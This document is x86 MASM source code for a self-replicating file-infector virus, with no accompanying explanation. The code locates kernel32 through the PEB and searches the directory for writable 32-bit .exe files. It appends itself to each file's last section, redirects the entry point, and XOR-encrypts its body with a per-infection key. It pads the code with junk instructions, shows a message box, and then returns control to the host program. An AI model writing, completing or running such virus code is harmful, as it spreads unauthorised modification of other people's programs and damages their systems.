pop ecx
nop
jmp edx
start:
call get_eip ; get the injected exe env instruction pointer
push ebx
push esi
push edi
pop edi
pop esi
pop ebx
get_eip:
pop ebx
; ebx holds "data section" address
; (call instruction + (start label address - data label instruction))
nop
sub ebx, (5 + (start - data))
push ebx ; save it back temporarily
; resolve kernel32 base address
ASSUME FS:NOTHING
mov edx, fs:[30h] ; get the PEB struct
nop
ASSUME FS:ERROR
; ->Ldr / get the PEB_LDR_DATA struct
mov edx, (PEB PTR [edx]).Ldr
; ->InMemoryOrderModuleList / gets the loaded modules linked list
lea edx, (PEB_LDR_DATA PTR [edx]).InMemoryOrderModuleList
nop
; loop through the linked list until we match with "KERNEL32.DLL"
; partial case insensitive check : length=12; name[0]=K; name[5]=L; name[6]=3; name[7]=2
; enough because KERNEL32 should always be before some other DLL matching this pattern
loop_find_kernel32:
; ->FullDllName / get the UNICODE_STRING struct
lea eax, (LDR_DATA_TABLE_ENTRY PTR [edx]).FullDllName
; ->Len
mov bx, (UNICODE_STRING PTR [eax]).Len
nop
; check the length
cmp bx, (12 * sizeof WCHAR)
jne loop_find_kernel32_continue
nop
; ->Buffer
mov eax, (UNICODE_STRING PTR [eax]).Buffer
; check the string
xor edi, edi
mov bx, [eax]
mov di, 'K'
nop
cmp bx, 'a' ; check case
jl lfk32_first_letter_cmp
add di, ('a' - 'A') ; make lowercase
lfk32_first_letter_cmp:
cmp bx, di
jne loop_find_kernel32_continue
nop
mov bx, [eax + 5 * sizeof WCHAR]
mov di, 'L'
nop
cmp bx, 'a'
jl lfk32_second_letter_cmp
add di, ('a' - 'A')
lfk32_second_letter_cmp:
cmp bx, di
jne loop_find_kernel32_continue
mov ebx, [eax + 6 * sizeof WCHAR]
nop
cmp ebx, 00320033h ; "32" in little endian wide characters
nop
jne loop_find_kernel32_continue
jmp loop_find_kernel32_end
loop_find_kernel32_continue:
; (LIST_ENTRY)->Flink / get next loaded module
mov edx, (LIST_ENTRY PTR [edx]).Flink
nop
jmp loop_find_kernel32
loop_find_kernel32_end:
; ->DllBase, for some reason, does not hold the base address
; instead ->Reserved2[0] does
mov ebx, (LDR_DATA_TABLE_ENTRY PTR [edx]).Reserved2[0 * sizeof PVOID]
nop
mov edx, ebx
; get PE header (base address + offset from the DOS header)
add edx, [edx + 03Ch]
nop
; get export table
mov edx, (IMAGE_OPTIONAL_HEADER PTR (IMAGE_NT_HEADERS PTR [edx]).OptionalHeader) \
.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT * sizeof IMAGE_OPTIONAL_HEADER] \
.VirtualAddress
add edx, ebx
push edx ; save export table on the stack
; get function names array
mov edx, [edx + 020h] ; AddressOfNames
nop
add edx, ebx
nop
xor ecx, ecx ; index = 0
; loop trough export function names
loop_find_gpa:
mov eax, [edx + ecx]
add eax, ebx
; check the string with "GetProcA", should be enough
; in reverse because of the endianness
mov edi, [eax]
nop
cmp edi, 'PteG'
nop
jne loop_find_gpa_continue
mov edi, [eax + 4]
nop
cmp edi, 'Acor'
jne loop_find_gpa_continue
jmp loop_find_gpa_end
loop_find_gpa_continue:
add ecx, sizeof LPSTR ; index += 1
nop
jmp loop_find_gpa
loop_find_gpa_end:
pop edx ; get the export table back
nop
mov eax, edx
; now use this index to find the function ordinal (address array index)
mov edx, [edx + 024h] ; AddressOfNameOrdinals
add edx, ebx
shr ecx, 1 ; index /= 2 (32 bit array -> 16 bit array)
xor edi, edi
nop
nop
nop
mov di, [edx + ecx]
shl edi, 2 ; index *= 4 (sizeof PVOID)
mov edx, eax
; now use the ordinal to get the function address
mov edx, [edx + 01Ch] ; AddressOfFunctions
add edx, ebx
nop
nop
mov ecx, [edx + edi]
add ecx, ebx
nop
mov edi, ebx ; save kernel32 base address
; check STACK_STORAGE DWORD (4 bytes) alignment
xor edx, edx
mov ax, sizeof STACK_STORAGE
mov bx, 4
div bx
nop
add dx, sizeof STACK_STORAGE
pop ebx
nop
; allocate space on the stack, sp register instead of esp because
; the structure size fits in a WORD, saves on instruction size
sub sp, dx
; store GetProcAddress address
mov (STACK_STORAGE PTR [esp]).GetProcAddress_addr, ecx
; store kernel32 base address
nop
mov (STACK_STORAGE PTR [esp]).kernel32BaseAddr, edi
; set it as module for GetProcAddress
nop
mov (STACK_STORAGE PTR [esp]).GetProcAddress_module, edi
; set actual struct size on stack
nop
mov (STACK_STORAGE PTR [esp]).alignedSize, dx
push esp
lea eax, [ebx + (FindFirstFile_str - data)]
push eax
call GetProcAddr
mov (STACK_STORAGE PTR [esp]).fileQueryHandle, INVALID_HANDLE_VALUE
nop
lea edx, (STACK_STORAGE PTR [esp]).fileStruct
push edx
lea edx, [ebx + (fileQuery - data)]
push edx
call eax ; FindFirstFile()
cmp eax, INVALID_HANDLE_VALUE
nop
je loop_find_file_end
mov (STACK_STORAGE PTR [esp]).fileQueryHandle, eax
nop
loop_find_file:
push esp
lea eax, [ebx + (GetFullPathName_str - data)]
push eax
call GetProcAddr
; check file and put it on the stack if needed
lea edx, (STACK_STORAGE PTR [esp]).fileName
lea ecx, (WIN32_FIND_DATA PTR (STACK_STORAGE PTR [esp]).fileStruct).cFileName
push NULL
push edx
push MAX_PATH
push ecx
nop
nop
nop
call eax ; GetFullPathName() / get absolute file path
; check if it actually ends with .exe
push esp
lea eax, [ebx + (lstrlen_str - data)]
push eax
call GetProcAddr
lea edx, (STACK_STORAGE PTR [esp]).fileName
push edx
call eax
; get to the end of the name, expecting ".exe"
lea edx, (STACK_STORAGE PTR [esp]).fileName[eax - 4]
mov edx, [edx]
cmp edx, 'exe.' ; (little endian)
jne loop_find_file_continue
; check if it's a directory
mov edx, (WIN32_FIND_DATA PTR (STACK_STORAGE PTR [esp]).fileStruct).dwFileAttributes
and edx, FILE_ATTRIBUTE_DIRECTORY
nop
nop
nop
cmp edx, FILE_ATTRIBUTE_DIRECTORY
je loop_find_file_continue
; check if it's a read-only file
mov edx, (WIN32_FIND_DATA PTR (STACK_STORAGE PTR [esp]).fileStruct).dwFileAttributes
and edx, FILE_ATTRIBUTE_READONLY
cmp edx, FILE_ATTRIBUTE_READONLY
nop
nop
nop
je loop_find_file_continue
; Target appears good
push esp
lea eax, [ebx + (CreateFile_str - data)]
push eax
call GetProcAddr
lea edx, (STACK_STORAGE PTR [esp]).fileName
push NULL
push FILE_ATTRIBUTE_NORMAL
push OPEN_EXISTING
push NULL
push (FILE_SHARE_READ or FILE_SHARE_WRITE)
push (GENERIC_READ or GENERIC_WRITE)
push edx
nop
nop
nop
call eax ; CreateFile()
cmp eax, INVALID_HANDLE_VALUE
je loop_find_file_continue ; if handle != null
mov (STACK_STORAGE PTR [esp]).fileHandle, eax
push esp
push 0
call MapFileToRAM
; get PE header (base address + offset from the DOS header)
mov edi, (STACK_STORAGE PTR [esp]).fileView
add edi, [edi + 03Ch]
; check if executable
mov ax, (IMAGE_FILE_HEADER PTR (IMAGE_NT_HEADERS PTR [edi]).FileHeader).Characteristics
and ax, IMAGE_FILE_EXECUTABLE_IMAGE
cmp ax, IMAGE_FILE_EXECUTABLE_IMAGE
jne close_target
nop
nop
nop
; check if 32 bit
mov ax, (IMAGE_FILE_HEADER PTR (IMAGE_NT_HEADERS PTR [edi]).FileHeader).Machine
cmp ax, IMAGE_FILE_MACHINE_I386
jne close_target
; get sections count
xor ecx, ecx
mov cx, (IMAGE_FILE_HEADER PTR (IMAGE_NT_HEADERS PTR [edi]).FileHeader).NumberOfSections
dec ecx
; get last section header
mov eax, sizeof IMAGE_SECTION_HEADER
mul ecx ; eax = (sizeof IMAGE_SECTION_HEADER * NumberOfSections)
lea edx, (IMAGE_NT_HEADERS PTR [edi]).OptionalHeader
nop
nop
nop
add dx, (IMAGE_FILE_HEADER PTR (IMAGE_NT_HEADERS PTR [edi]).FileHeader).SizeOfOptionalHeader
mov ecx, edx ; save first section header
add edx, eax
mov (STACK_STORAGE PTR [esp]).filePeHeader, edi
mov (STACK_STORAGE PTR [esp]).fileLastSectionHeader, edx
; check if itself
mov eax, ebx
add eax, (start - data)
; get physical entry point address
sub ecx, sizeof IMAGE_SECTION_HEADER
find_entrypoint_section_loop:
add ecx, sizeof IMAGE_SECTION_HEADER
mov edx, (IMAGE_SECTION_HEADER PTR [ecx]).VirtualAddress
add edx, (IMAGE_SECTION_HEADER PTR [ecx]).Misc
cmp edx, (IMAGE_OPTIONAL_HEADER PTR (IMAGE_NT_HEADERS PTR [edi]).OptionalHeader).AddressOfEntryPoint
jl find_entrypoint_section_loop
mov edx, (IMAGE_SECTION_HEADER PTR [ecx]).VirtualAddress
sub edx, (IMAGE_SECTION_HEADER PTR [ecx]).PointerToRawData
mov ecx, (IMAGE_OPTIONAL_HEADER PTR (IMAGE_NT_HEADERS PTR [edi]).OptionalHeader).AddressOfEntryPoint
add ecx, (STACK_STORAGE PTR [esp]).fileView
sub ecx, edx
push end_of_code - start
push ecx
push eax
call lstrncmp
cmp al, 0
jne close_target
mov edi, (STACK_STORAGE PTR [esp]).filePeHeader
nop
mov edx, (STACK_STORAGE PTR [esp]).fileLastSectionHeader
nop
mov eax, (IMAGE_SECTION_HEADER PTR [edx]).Characteristics
; set as executable code & writeable
or eax, (IMAGE_SCN_MEM_EXECUTE OR IMAGE_SCN_CNT_CODE OR IMAGE_SCN_MEM_WRITE)
; set as not discardable
mov ecx, IMAGE_SCN_MEM_DISCARDABLE
not ecx
and eax, ecx
; update it
mov (IMAGE_SECTION_HEADER PTR [edx]).Characteristics, eax
; update VirtualSize
mov eax, (IMAGE_SECTION_HEADER PTR [edx]).Misc
add eax, (IMAGE_OPTIONAL_HEADER PTR (IMAGE_NT_HEADERS PTR [edi]).OptionalHeader).SectionAlignment
mov (IMAGE_SECTION_HEADER PTR [edx]).Misc, eax
; save where to inject in the target
mov eax, (IMAGE_SECTION_HEADER PTR [edx]).PointerToRawData
nop
add eax, (IMAGE_SECTION_HEADER PTR [edx]).SizeOfRawData
mov (STACK_STORAGE PTR [esp]).offsetToDest, eax
; update SizeOfRawData
mov eax, (IMAGE_SECTION_HEADER PTR [edx]).SizeOfRawData
add eax, (IMAGE_OPTIONAL_HEADER PTR (IMAGE_NT_HEADERS PTR [edi]).OptionalHeader).SectionAlignment
mov (IMAGE_SECTION_HEADER PTR [edx]).SizeOfRawData, eax
; update SizeOfImage
mov eax, (IMAGE_OPTIONAL_HEADER PTR (IMAGE_NT_HEADERS PTR [edi]).OptionalHeader).SizeOfImage
nop
add eax, (IMAGE_OPTIONAL_HEADER PTR (IMAGE_NT_HEADERS PTR [edi]).OptionalHeader).SectionAlignment
nop
mov (IMAGE_OPTIONAL_HEADER PTR (IMAGE_NT_HEADERS PTR [edi]).OptionalHeader).SizeOfImage, eax
; save original entry point
mov eax, (IMAGE_OPTIONAL_HEADER PTR (IMAGE_NT_HEADERS PTR [edi]).OptionalHeader).ImageBase
nop
add eax, (IMAGE_OPTIONAL_HEADER PTR (IMAGE_NT_HEADERS PTR [edi]).OptionalHeader).AddressOfEntryPoint
mov (STACK_STORAGE PTR [esp]).origEntryPoint, eax
mov eax, (STACK_STORAGE PTR [esp]).offsetToDest
; physical to virtual address
mov ecx, (IMAGE_SECTION_HEADER PTR [edx]).VirtualAddress
nop
sub ecx, (IMAGE_SECTION_HEADER PTR [edx]).PointerToRawData
add eax, ecx
; update it
mov (IMAGE_OPTIONAL_HEADER PTR (IMAGE_NT_HEADERS PTR [edi]).OptionalHeader).AddressOfEntryPoint, eax
; re-map the file to memory and change its size
mov eax, (IMAGE_SECTION_HEADER PTR [edx]).PointerToRawData
add eax, (IMAGE_SECTION_HEADER PTR [edx]).SizeOfRawData
mov (STACK_STORAGE PTR [esp]).fileSize, eax
push esp
call UnmapFileFromRAM
mov eax, (STACK_STORAGE PTR [esp]).fileSize
push esp
push eax
call MapFileToRAM
; inject itself
lea esi, [ebx - (data - start_of_code)] ; src
mov edi, (STACK_STORAGE PTR [esp]).fileView
nop
add edi, (STACK_STORAGE PTR [esp]).offsetToDest
nop ; dst
mov ecx, (end_of_code - start_of_code) ; length
rep movsb
; generate encryption key
push esp
lea eax, [ebx + (GetTickCount_str - data)]
push eax
call GetProcAddr
call eax ; GetTickCount()
xor eax, (STACK_STORAGE PTR [esp]).kernel32BaseAddr
nop
xor eax, (STACK_STORAGE PTR [esp]).origEntryPoint
nop
mov (STACK_STORAGE PTR [esp]).cryptKey, eax
; store it in the decryptor
; eax : cryptKey
mov edi, (STACK_STORAGE PTR [esp]).fileView
add edi, (STACK_STORAGE PTR [esp]).offsetToDest
add edi, ((cypt_key - start_of_code) + 1)
mov [edi], eax
; set return address to the original entry point
mov edx, (STACK_STORAGE PTR [esp]).fileView
nop
add edx, (STACK_STORAGE PTR [esp]).offsetToDest
nop
mov eax, (STACK_STORAGE PTR [esp]).origEntryPoint
nop
mov [edx + (returnAddr - start_of_code)], eax
; then the body, xor-encrypting it
mov edi, (STACK_STORAGE PTR [esp]).fileView
add edi, (STACK_STORAGE PTR [esp]).offsetToDest
add edi, (data - start_of_code)
xor ecx, ecx ; index
mov edx, (STACK_STORAGE PTR [esp]).cryptKey
encryptor_loop_b:
cmp ecx, (end_of_code - data)
je encryptor_loop_e
mov al, [edi + ecx] ; byte to copy
xor al, dl
mov [edi + ecx], al
inc ecx
ror edx, cl
jmp encryptor_loop_b
encryptor_loop_e:
close_target:
push esp
call UnmapFileFromRAM
push esp
lea eax, [ebx + (CloseHandle_str - data)]
push eax
call GetProcAddr
push (STACK_STORAGE PTR [esp]).fileHandle
call eax ; CloseHandle()
loop_find_file_continue:
push esp
lea eax, [ebx + (FindNextFile_str - data)]
push eax
call GetProcAddr
lea edx, (STACK_STORAGE PTR [esp]).fileStruct
nop
mov ecx, (STACK_STORAGE PTR [esp]).fileQueryHandle
push edx
push ecx
call eax
cmp eax, TRUE
je loop_find_file
loop_find_file_end:
push esp
lea eax, [ebx + (FindClose_str - data)]
push eax
call GetProcAddr
push (STACK_STORAGE PTR [esp]).fileQueryHandle
nop
call eax ; FindClose() / close its handle
mov eax, [ebx + (returnAddr - data)]
nop
cmp eax, 0
je end_of_code
; get LoadLibraryA
push esp
nop
lea eax, [ebx + (LoadLibrary_str - data)]
push eax
call GetProcAddr
lea edx, [ebx + (User32_str - data)]
push edx
call eax ; LoadLibrary()
mov (STACK_STORAGE PTR [esp]).GetProcAddress_module, eax ; so GetProcAddress finds MessageBox
; get MessageBoxA
push esp
lea edx, [ebx + (MessageBox_str - data)]
push edx
nop
call GetProcAddr
lea edx, [ebx + (PopUpMessage - data)]
push MB_OK
push edx
nop
push edx
push NULL
call eax ; MessageBox()
; put User32 handle on the stack
mov edx, esp
nop
push (STACK_STORAGE PTR [esp]).GetProcAddress_module
nop
mov eax, (STACK_STORAGE PTR [edx]).kernel32BaseAddr
nop
mov (STACK_STORAGE PTR [edx]).GetProcAddress_module, eax
push edx
nop
lea eax, [ebx + (FreeLibrary_str - data)]
push eax
call GetProcAddr
call eax ; FreeLibrary() ; handle argument already on the stack
add sp, (STACK_STORAGE PTR [esp]).alignedSize ; "free" the stack
mov eax, [ebx + (returnAddr - data)]
jmp eax
end_of_code:
push ebx
push esi
push edi
pop edi
pop esi
pop ebx
add sp, (STACK_STORAGE PTR [esp]).alignedSize ; "free" the stack
; hard-coded call, so kernel32 is loaded in the infector
push 0
nop
nop
nop
call ExitProcess
end start
^C